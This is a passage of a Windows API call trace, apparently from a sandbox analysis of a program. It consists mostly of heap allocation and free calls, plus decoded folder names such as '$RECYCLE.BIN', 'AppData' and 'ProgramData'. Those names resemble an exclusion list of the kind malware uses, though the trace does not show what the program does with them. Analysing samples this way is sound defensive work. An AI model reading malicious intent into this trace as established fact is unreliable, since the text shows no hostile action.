BaseAddress=0x3ad5e8) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf2850 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3abc08 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0xcf5058 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad248 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5e8 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad238 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac630 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad228 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac678 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad218 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac6c0 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad208 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac708 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1e8 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac750 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1f8 [0175.835] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac798 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.835] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad298) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc08) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3abc08 [0175.836] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.836] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5e8) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad248) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac630) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad238) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac678) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad228) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac6c0) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad218) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac708) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad208) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac750) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1e8) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac798) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1f8) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf5058) returned 1 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0xcf5058 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1f8 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac798 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1e8 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac750 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad208 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac708 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad218 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac6c0 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad228 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac678 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad238 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac630 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad248 [0175.837] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5e8 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.837] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad298) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc08) returned 1 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3abc08 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.838] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac798) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1f8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac750) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1e8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac708) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad208) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac6c0) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad218) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac678) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad228) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac630) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad238) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5e8) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad248) returned 1 [0175.838] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf5058) returned 1 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf2850) returned 1 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adae0 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1f8, cbMultiByte=25, lpWideCharStr=0x3adae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adb68 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adae0) returned 1 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad248 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adae0 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adb68) returned 1 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adb68 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1b0, cbMultiByte=12, lpWideCharStr=0x3adb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adbf0 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adb68) returned 1 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad238 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adb68 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adbf0) returned 1 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adbf0 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac168, cbMultiByte=8, lpWideCharStr=0x3adbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adc78 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adbf0) returned 1 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad228 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adbf0 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adc78) returned 1 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adc78 [0175.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpWideCharStr=0x3adc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3add00 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adc78) returned 1 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad218 [0175.839] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adc78 [0175.839] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3add00) returned 1 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3add00 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac240, cbMultiByte=11, lpWideCharStr=0x3add00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3add88 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3add00) returned 1 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3add00 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad208 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ade28 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3add88) returned 1 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adeb0 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpWideCharStr=0x3adeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adf38 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adeb0) returned 1 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1e8 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adeb0 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adf38) returned 1 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adf38 [0175.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac288, cbMultiByte=11, lpWideCharStr=0x3adf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adfc0 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adf38) returned 1 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad1f8 [0175.840] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adf38 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adfc0) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad298) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.840] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc08) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf2850 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, 